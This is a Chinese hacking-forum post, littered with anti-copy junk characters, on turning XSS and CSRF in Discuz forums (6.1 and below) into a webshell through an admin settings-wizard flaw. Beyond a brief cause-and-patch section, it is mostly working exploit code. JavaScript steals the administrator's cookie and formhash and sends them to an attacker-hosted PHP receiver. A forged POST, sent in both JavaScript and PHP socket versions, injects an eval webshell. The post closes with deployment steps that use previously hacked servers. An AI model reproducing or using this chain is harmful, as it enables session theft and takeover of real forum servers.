Discuz XSS得webshell
7 X5 j' e* ?5 q0 c, `# z, sBy racle @tian6.com! S5 p: F9 ]5 x1 {7 A
欢迎转帖.但请保留版权信息.( ^3 {1 x$ ?3 a+ r
受影响版本 iscuz<=6.1.0,gbk+utf+big5/ F1 ^0 s: |3 H! R0 H' H% R8 g
1 @3 f: q% s' w' i( u# B/ m
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.7 @; F$ \2 q y2 [
7 Q3 N# L: r5 y0 @
* @! a7 Y6 F( ~" U5 E
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706- Y C- B/ i- P8 b8 z4 w
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
/ _+ F* K! ]5 J/ m" C! J" z" z: @; I3 ]* Y
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
% `7 C* L# O" }* g$ Q4 H' B4 R' w本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS9 D1 b; Z: X' p2 f4 m
( {5 B, I C# ^" p5 q# W. F. t8 \8 ?# D; {5 X# P5 J
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
# Z' o3 S' M5 ~2 X G) r) @4 t" V! T. v
$ U! |& C# o9 [2 F& K+ L8 e+ G
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
: O5 V: f) c/ _+ |/ |1 h1 }$ }2 p8 M! Y* X; e& }- s3 y4 s
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
3 k) t" ^' J( k: U1 K7 Y9 R) o
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
$ @9 u; ]* f: }) k4 P: A, j. q* s3 H, {
$ G6 \& @: H7 m5 ^7 t下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {( w& x- y# r) `7 F( e
4 M1 M1 p! Z/ P, R. M) u& R9 V global $runwizardfile, $runwizardhistory;) Q& Y' f' p2 c+ [5 \5 ?* y
, J% P6 m/ H6 I3 l$ c( P; I
$fp = fopen($runwizardfile, 'w');
* x% x7 i* r; w4 \7 f7 S8 L$ _2 w; w( F z0 z
fwrite($fp, serialize($runwizardhistory));
7 \2 E0 }! k- V9 R8 C' @" {* _0 _0 \+ V
fclose($fp);4 J" L+ d0 r0 ^4 W
+ t9 `* ]/ w I! r+ v}
6 J- @' y9 I6 [0 G" k, w8 h复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.1 m5 F! g) F& `+ t+ Y1 u$ e; K- l
以下是修补的办法:function saverunwizardhistory() {
' G! k% c3 N0 u: z
/ b* w! W9 t- m" d( y$ B! Y+ |$ w9 s global $runwizardfile, $runwizardhistory;
# y! a/ B2 ]- W( n [# ^; A- j( J& }' i" x% a& {2 L' U
$fp = fopen($runwizardfile, 'w');
. I+ a6 z2 v( _
) h9 _! D, g, q( I5 r8 c $s = '<?php exit;?>';
8 q2 | I# i4 B( X. c: |* d- L) h. X( Q. f! g$ ]5 |. H
$s .= serialize($runwizardhistory);
$ c! n. I! Y% F2 V% c* [/ T1 e( Y" o
2 ]9 h4 A4 U" a4 } fwrite($fp, $s);3 L% x7 Y+ w* Y
1 ?5 I5 S/ P+ w3 o6 X) E$ F# ?
fclose($fp);
6 ?& A* ?5 s. `# a ]
4 ]6 p$ L' ^9 w* v}# m. P+ b# `9 X$ L0 I) c0 I2 d: D
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
8 F @& ? i& a1 S
! r# O0 D) q' c8 s) A7 r
7 [& @/ X; D6 P2 k/ J8 K6 m
+ q6 S6 Y# a1 F# U$ _6 A V----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------3 a$ d9 r0 Q* b" ^2 _
/ D; G/ @ c& m! x( H0 G* u% X9 F8 B
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
! B) ~3 z. B9 _1 |1 p" B8 V2 c! z' {& S
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
4 t& J: T/ r- w# a$ ?* @; c
g& s; B# `0 E! B" q( t这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.6 e' F2 P, B6 c& c0 @
" }# M8 A% S! ~9 k8 s首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
! [- S2 [0 t' p* Q4 |! C
3 \- _0 L4 L9 evar url="http://目标网站/admincp.php";
4 e6 B4 F, [' U
9 p1 @ H$ i( d8 u; s$ A/*获得cookies*/- l# G, L( d* z
- ]/ h. Z6 {/ R, \4 ]* y: W% n* }
function getURL(s) {7 H, H1 v) X5 h3 p9 \+ T
; X A& O9 L. o( \
var image = new Image();0 l# t' z. {9 N% N1 w5 n
, e/ n( A* |+ u, Himage.style.width = 0;
8 ~1 i& {9 N* m$ l [; K
8 N _$ G: B2 oimage.style.height = 0;
) L, l* h- L$ f- G. P% @* R# j$ w& r' D- h, u' B! X& w
image.src = s;; C3 }: H0 P3 S% l7 X8 ^' y! K
* U) G1 f9 D( L% G
}
4 n# i. {! i5 z9 \% S6 \7 U" Z* Z2 O
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php3 C* u9 k- \. F
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];4 o& {! k& b8 D* J+ z; X2 _
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
) M) \7 ^: \5 \; H4 D
' P, _/ S( `! E1 M- c% q* C% L, \% W, c- J. J! f
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";/ R7 ?+ q: j0 \" S- ~( E c
1 ~7 @. h7 l! q0 D* j5 y0 i% l& |, m3 @$ Y0 P% c' } ~. L9 j
. _, h! O- W/ ~; I' k( e+ q/ D }
/*hash*/0 K& N. k2 {7 \$ l/ [4 \% p2 T& i! A
% ~# b4 ~8 P! b2 A& \' cvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
2 c" _- o% \0 g4 r# l# u, k; f% ?
2 C2 p; n" c$ E+ C/ |xmlHttpReq.open("GET", url+"admincp.php?action=home", false);$ r N( P1 m3 }( H# r$ L; S
7 Y: C: r0 M# u( u! _8 I5 i2 j# FxmlHttpReq.send();' N/ w" V9 s7 p+ n' y3 B" L# y
; h- M! P3 k0 K/ k& cvar resource = xmlHttpReq.responseText;+ C1 c, n+ s7 N9 o; A! e
1 Y8 ~4 J) r, p4 G* |! i4 N( Tvar numero = resource.search(/formhash/);
% t0 o* F, D3 N: Z
, ?- C' C) k$ [4 L4 R8 w% f* H# hvar formhash=encodeURIComponent(resource.substr(numero+17,8));
, H7 [; p4 @- O, `8 r
$ f: @; w1 u3 i: s
( p: L) W* S" B7 M0 T0 q2 _- F- [6 \5 S9 t3 O* L
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 7 G3 m" V, j; w/ h
# @( Q! c, _5 NxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 2 `7 L9 R. L0 f# q l% V
: P2 Q9 ?! g# Z
xmlHttpReq.setRequestHeader("Referer", url);1 g' v! g2 }" K
3 f1 C* G3 R$ w; wxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");2 R! Z- e9 O g6 A
! I* o H! {1 B, z k) x6 U
xmlHttpReq.setrequestheader("content-length",post.length);
& @7 @! r2 k8 p8 T3 B$ r7 Q [
* T( A, _5 ^( t; k. o% ?) nxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
' m# p/ d( k! G }- a( p/ k0 [* Z+ v+ [
xmlHttpReq.send(post);//发送数据
: M: L* t3 w: J/ Q( T复制代码这里HASH我假设正确,这样提交,也无须cookies! r ~8 q+ G4 d2 T) }
/ ?* j i. g8 n- `6 j* F0 F! m
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);* M. h! O( l, }3 t0 R& }1 y
9 N6 t* m' M0 V& ~3 z% K0 f
if (!$sock) die("$errstr ($errno)\n");
- U- t. {1 V, W2 w5 Y
% d+ d6 Q7 a1 Y8 [$ ?$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5'; i* o' |- ^8 r# A- J
0 U2 V; ~ a% ?1 S* A8 l4 P5 k) O5 P- C
& }) q& n* E) Z, G
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
; n& n2 H8 N6 W F' D
0 D$ e# v) Q, _- C3 d# Bfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");! p, c) o0 Q' F/ o7 l5 j: i6 S7 \
9 Z& {; ~# v% ]8 n
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
9 ]) O% j+ Z8 }- p9 I7 k e; m& H" r/ F3 M: v- i) M
fwrite($sock, "Accept-Language: zh-cn\r\n");
& ~1 G0 y/ a$ h' @' D
. L' Y1 V) S afwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
: y, L# J6 t/ }8 \% O* z7 U: D' S( j0 ^
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");* a: U/ a* p! ]+ O
- @7 ? |; @/ l) ?2 y2 D" ^
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");0 _ U! S; U5 E m8 z# U
0 U7 M) W' e! g+ k. b' a' W
fwrite($sock, "Host: $url\r\n");
, D3 U4 Z- U9 ^% m6 Y0 S. E6 M* |# ?$ a1 ` r" I' o1 ^, A
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
: ]0 J Y# g& t5 E- {' ^ P }3 \& e. e% C: p1 |6 ~ F& ]
fwrite($sock, "Connection: Keep-Alive\r\n");2 {' H% d: B. @( W* Q
+ A6 c" a+ u6 K! M7 n Ifwrite($sock, "Cache-Control: no-cache\r\n");$ x- o9 [" Z& v
- ~% r" b0 s( ]: m( jfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
; u6 ^% x; _# w0 X U& M: R6 k6 W' ]9 d% l% w I$ z
fwrite($sock, $data);1 J" r" `& E0 j! u5 L5 J
/ x* m. B8 G$ |- d* G$ Q
6 t, l5 v, O+ Q2 b6 ]
3 c/ D3 ^- o n$headers = "";4 T- ? g/ }+ ~2 v: j( ^
0 I' s* e9 | @9 c4 l1 \
while ($str = trim(fgets($sock, 4096)))) O# W) M) [0 p# a! I8 e
; l! ?9 D' ?+ g1 v' a9 o $headers .= "$str\n";
% L. c6 C$ _) F% `* D3 ~. Z# l# d- A4 J. y
echo "\n";& j8 g$ V8 w% \
7 W% a; t" a4 A: H5 U- S; W! k! C$body = "";
7 M I4 B( v+ t0 o
. u2 U& C4 d. [2 p0 p @' ?# cwhile (!feof($sock))% V8 ^- _# G% B" m6 J# d. ^2 G
# c4 [2 u( u. G
$body .= fgets($sock, 4096);
6 j$ L5 f! q( |& Z! ~' @2 ] \4 o L% w [4 y! ^6 @2 k
fclose($sock);
# a$ z5 W- }: [5 I% [* s" X; r- j2 w( S, g
echo $body;
5 e" L: b) b1 `" P0 v复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^( ] |3 u% }) G8 N. t$ H
8 s0 J2 Q: }- W9 ~/ Y7 |3 c+ r" O
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------% |2 O, b, `; s @* i2 q$ y
F/ \4 l7 A9 C* y7 p# W
4 T, Y" h" S J1 HP SOCKET利用方法首先打开racle.js0 L S' P$ G" y0 y. M
* k9 d0 P- ~" v5 [. x% i/ rvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
( B4 X+ Z/ E* n5 h
) j& U: M4 l* K4 \% @% j5 ~0 G( K
+ [4 r6 [3 N+ @, j然后打开racle@tian6.php+ q$ @7 l; U6 N; W3 X b0 n1 k
$ v! v" p' a5 }5 k9 Z$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
+ Q' F9 x% i- e3 i4 I p, @* [6 r( f9 q" ?' T5 O# K2 M7 i+ A
- Z! ~% S) |+ f
0 x$ Y; h5 h$ J9 M# p/ s. t如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:2 `8 x) q9 M1 c6 T
- C5 {+ V9 s; R0 z- [6 J$ Y6 t
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
4 S$ X _( j. }, N! d( L9 d" c$ y* K/ ^4 H* l! Z
为
9 h I# V% g8 B) k
) I3 s5 V$ M9 ^( E4 \0 vgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
! P0 S7 p+ y6 G! F$ M- \复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
- P' F4 q3 ]5 Z# G# v0 Y3 U% k! D7 l" I% U9 K3 S
* f" z6 \/ ?0 [% `+ M* ]# z- a+ S! q# L2 q S; E
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:2 G+ s' z9 u2 X/ A
- q Q# K' u% W2 C) c) G2 ^6 `, U# ovar formhash=encodeURIComponent(resource.substr(numero+17,8));8 ^# V5 i% ~) r/ `, t) B
7 I% |4 c5 |; D% S为
{" O/ p E4 o& r s! q
+ [( e! [; U( l9 S( V7 Y( ]/ \var formhash=encodeURIComponent(resource.substr(numero+9,8));
V1 K3 p2 x# P! r* M复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
9 v# l5 v) z' k
+ ]* D' c1 K) u) t# U# E$ h: g/ k如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
# _6 Z1 h+ Z" m, ^7 J w- d" q( n3 o8 n0 {" @5 \: R& ]% b
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
. z8 G& m. H! `0 j/ G" A I; {3 x- P+ t" n/ J
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.6 W, H; J0 d, p3 o
1 t" i2 o5 q' B1 O/ A* p |